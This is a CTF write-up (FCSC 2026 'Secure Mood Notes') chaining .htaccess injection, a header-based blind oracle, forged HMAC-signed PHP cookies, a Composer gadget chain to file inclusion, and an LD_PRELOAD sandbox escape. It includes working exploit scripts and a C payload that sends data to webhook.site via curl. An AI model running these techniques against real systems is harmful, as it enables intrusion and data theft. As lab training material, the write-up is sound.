Note
Inject Apache directives into a .htaccess via an IPv6 zone-ID, build a mod_headers expr oracle to leak the Snuffleupagus secret (part 1), then forge signed PHP cookies, chain a Composer ClassLoader gadget to file inclusion, smuggle an ELF as a note, and escape Snuffleupagus via LD_PRELOAD + mail() (part 2).
Secure Mood Notes (1 & 2) — .htaccess injection oracle → forged cookie → LD_PRELOAD RCE
CTF: FCSC 2026 · Category: Web (server-side) · Author: Worty · Difficulty: ★★★ (3 stars, 12 solves)
A two-part challenge sharing one container: a note-taking app where notes have "moods" (angry / chill / normal) that transform their content. Part 1's flag is hidden in the Snuffleupagus config; part 2 needs full RCE.
Infrastructure
One Docker container, two apps behind Apache:
- PHP / Symfony on
/— note creation, storage, rendering. - Flask on
/share/(proxied from :5000) — note sharing.
Notes live entirely client-side in a signed notes_data cookie (base64 serialized PHP Notes object).
Snuffleupagus is loaded as a PHP extension and enforces runtime rules. A tmpfs is mounted at
/var/www/html/public/shared_notes with the exec flag — foreshadowing part 2.
The Symfony app
Client data is XOR-"encrypted" with a 16-byte key from the client_key cookie:
// Utils.php
private static function decryptParam(string $data, string $key): string {
$out = '';
for ($i = 0; $i < strlen($data); $i++)
$out .= $data[$i] ^ $key[$i % strlen($key)];
return $out;
}
The Notes class applies a filter mode through array_map() over a public filters property — so a
deserialized object can put any callable there:
// Notes.php
public function filter(string $filter) {
return array_map($this->filters[$filter], $this->all_notes);
}
The Flask app
/share/create validates inputs, fetches the note from the PHP app, and writes two files into a new
UUID folder — a note file and a .htaccess:
with open(f"{share_folder}/shared.mood.notes","w",encoding="latin-1") as fd:
fd.write(f"{resp['title']}\n{resp['content']}") # latin-1 — keeps raw bytes intact
with open(f"{share_folder}/.htaccess","w") as fd:
fd.write(HT_ACCESS_CONTENT % (note_filename, allowed_ip))
HT_ACCESS_CONTENT="""<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename %s
Require ip %s
Options -ExecCGI
php_flag engine off
</FilesMatch>"""
name is sanitized ([./;!\n\r"<>()\{\}\[\]] stripped, ≤10 chars) and allowed_ip is validated by
Python's ip_address(). Both are injectable in subtle ways.
Snuffleupagus rules (default.rules)
sp.global.secret_key("FCSC{FAKE_FLAG1}"); // <-- part 1 flag
sp.unserialize_hmac.enable(); // every unserialize needs a valid HMAC tag
sp.disable_function.function("system").drop(); // + exec/shell_exec/proc_open/popen/passthru...
sp.disable_function.function("mail").param("additional_params").value_r("\\-").drop();
sp.disable_function.function("file_put_contents").drop(); // + rename/copy/move_uploaded_file...
Useful environment facts: /tmp is 700 (no www-data temp writes), AllowOverride All on the webroot
(so .htaccess is fully parsed), /dev/shm is read-only — the only www-data-writable spot is
/run/apache2/socks.
Part 1 — Leaking the Snuffleupagus secret
Injecting into the .htaccess
IPv6 zone-ID bypass. Python's ip_address() accepts an IPv6 zone ID (everything after %), so this
passes validation while embedding newlines that become real Apache directives:
fe80::1%\nRequire all granted\nHeader set Injected yes
Neutralizing the original Require ip. Apache treats a trailing \ as line continuation. Setting
name to '\ merges the Header set Mood-Filename line with the following Require ip line, swallowing
the access restriction so the note is publicly readable:
Header set Mood-Filename '\
Require ip 127.0.0.1 # merged into the Header line above → restriction gone
The mod_headers expr oracle
Header set supports "expr=<bool>". When the boolean is true the header is emitted, otherwise omitted —
a perfect blind oracle. In boolean context, file() and req() use normal call syntax (we can't use
%{...} because % breaks ip_address() parsing). Inject via allowed_ip:
fe80::1%\nRequire all granted\nHeader set Matched yes "expr=file(req('Path')) =~ m#FCSC\{#"
Resulting .htaccess:
<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename '\
Require ip fe80::1%'
Require all granted
Header set Matched yes "expr=file(req('Path')) =~ m#FCSC\{#"
Options -ExecCGI
php_flag engine off
</FilesMatch>
Now fetch the note with a chosen Path header; if the regex matches the file's content, the response
carries Matched: yes:
curl -i -H 'Path: /opt/default.rules' \
http://localhost:8000/shared_notes/<uuid>/shared.mood.notes
The secret is hex, so brute-force position by position over 0123456789abcdef:
m#FCSC\{9# -> Matched: yes -> '9'
m#FCSC\{9c# -> Matched: yes -> 'c'
...
Extraction script
A fresh share is created per character (the payload is baked into .htaccess at creation):
import requests
URL = "https://secure-mood-notes.fcsc.fr/"
CHARSET = "0123456789abcdef"
CLIENT_KEY = "mfC0le1GPWwAM%2BcSTzLT%2FA%3D%3D"
NOTES_DATA = "..."
def check_char(cand):
allowed_ip = ("fe80::1%\n"
"Require all granted\n"
f'Header set Matched yes "expr=file(req(\'Path\')) =~ m#FCSC\\{{{cand}#"')
payload = {"note_id": "0", "allowed_ip": allowed_ip, "name": "'\\"}
r = requests.post(URL + "share/create", json=payload,
headers={"Cookie": f"client_key={CLIENT_KEY}; notes_data={NOTES_DATA}"})
share_path = r.json()["path"]
rr = requests.get(URL + share_path, headers={"Path": "/opt/default.rules"})
return rr.headers.get("Matched") == "yes"
flag = ""
for _ in range(64):
for c in CHARSET:
if check_char(flag + c):
flag += c; print("FCSC{" + flag + "}"); break
else:
break
Part 1 flag: FCSC{9c3c34c030a9d6d8}
Part 2 — Escaping the cage
Forging signed serialized cookies
Snuffleupagus appends the HMAC-SHA256 hex digest (64 chars) directly after the serialized payload, no separator. With the key from part 1 we forge any object:
import hmac, hashlib, base64, urllib.parse
SECRET_KEY = b"FCSC{9c3c34c030a9d6d8}"
SERIALIZED = rb'...'
tag = hmac.new(SECRET_KEY, SERIALIZED, hashlib.sha256).hexdigest().encode()
print(urllib.parse.quote(base64.b64encode(SERIALIZED + tag).decode(), safe=''))
Sanity check — call phpinfo() through array_map() by abusing the public filters property:
O:15:"App\Model\Notes":2:{
s:9:"all_notes";a:1:{i:0;i:1;}
s:7:"filters";a:1:{s:3:"cnf";s:7:"phpinfo";}
}
/api/notes?filter=cnf then runs array_map("phpinfo", [1]) → phpinfo(1).
POP chain → arbitrary file inclusion
array_map($callable, $arr) isn't enough freedom. Composer's ClassLoader has a scope-isolated include
closure and a findFile() that resolves the classMap array before any filesystem lookup:
self::$includeFile = \Closure::bind(static function($file) { include $file; }, null, null);
// loadClass($class): if ($file = $this->findFile($class)) { $inc = self::$includeFile; $inc($file); }
So craft a ClassLoader with classMap["CNF"] = "/path/to/shared.mood.notes" and call
loadClass("CNF") → include of a file we control (any shared note). Private props need null-byte
prefixes, so build the cookie in PHP:
require __DIR__ . '/.../vendor/autoload.php';
use App\Model\Notes;
use Composer\Autoload\ClassLoader;
$secret = 'FCSC{9c3c34c030a9d6d8}';
$loader = new ClassLoader();
$loader->addClassMap(['CNF' => '/path/to/shared.mood.notes']);
$notes = new Notes([]);
$notes->all_notes = ['CNF'];
$notes->filters = ['incl' => [$loader, 'loadClass']];
$ser = serialize($notes);
echo urlencode(base64_encode($ser . hash_hmac('sha256', $ser, $secret))), PHP_EOL;
/api/notes?filter=incl now includes our note file → arbitrary PHP execution.
Smuggling an ELF as a note
The Flask app writes {title}\n{content} in latin-1, so raw ELF bytes survive on disk (non-latin-1
encodings would prefix non-ASCII with \xc2 and corrupt it). Flask inserts \n between title and
content, so split the ELF at its first 0x0a:
payload = (out / "hook.so").read_bytes()
split = payload.find(b"\n")
title = payload[:split].decode("latin-1").encode("utf-8")
content = payload[split+1:].decode("latin-1").encode("utf-8")
A HAProxy on the remote rejected requests >16 KB, so the .so had to be minimized with aggressive gcc
flags + objcopy/strip (-Os -s -fno-asynchronous-unwind-tables -fno-exceptions -fvisibility=hidden -Wl,--gc-sections -Wl,--build-id=none -Wl,-z,norelro, then strip .note.gnu.property/.comment). (upx
would have been easier.)
Escaping Snuffleupagus via LD_PRELOAD + mail()
Snuffleupagus blocks direct exec functions but leaves putenv() and symlink() alone, and only drops
mail()'s additional_params. We can write to /run/apache2/socks but not shared_notes/, and our ELF
is named shared.mood.notes — so symlink a hook.so to it. mail() internally
execve("/usr/bin/sendmail", ...); even though sendmail is absent, the child inherits LD_PRELOAD
and runs our constructor before failing — entirely outside the Snuffleupagus VM:
symlink('/path/to/shared.mood.notes', '/run/apache2/socks/hook.so');
putenv('LD_PRELOAD=/run/apache2/socks/hook.so');
mail('x', 'x', 'x');
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__((constructor))
static void init(void) {
unsetenv("LD_PRELOAD");
system("/getflag please give me the flag | curl -sG --data-urlencode 'flag@-' https://webhook.site/...");
_exit(0);
}
Constructor runs as the Apache user, outside Snuffleupagus → RCE and flag.
Part 2 flag: FCSC{5c3fa80edf2ea136b4ea966297e56c2639d9d7825371d01858436bcb22ff0426}
Takeaways (generalized techniques)
ip_address()accepts IPv6 zone IDs (%...) — a validation-bypass vector for newline/directive injection into files like.htaccess.- Apache line-continuation (
\at EOL) lets you merge/neutralize adjacent directives;Header set ... "expr=..."is a ready-made blind oracle (file(),req()in boolean context). - A signed/HMAC'd serialized blob is game-over once the key leaks: forge objects and abuse public
callable properties (
array_map) → escalate via a known POP gadget (Composer\Autoload\ClassLoaderclassMap →include). - latin-1 file writes preserve arbitrary bytes → smuggle binaries through "text" fields.
- When exec functions are dropped but
putenv/symlink/mailsurvive:LD_PRELOADa.soand trigger anyexecve(e.g.mail()→ sendmail) so your constructor runs outside the PHP sandbox.
Sources & references
- Challenge source:
fcsc2026/web/secure_mood_notes_1(part 1),fcsc2026/web/secure_mood_notes_2(part 2) - Snuffleupagus: https://snuffleupagus.readthedocs.io/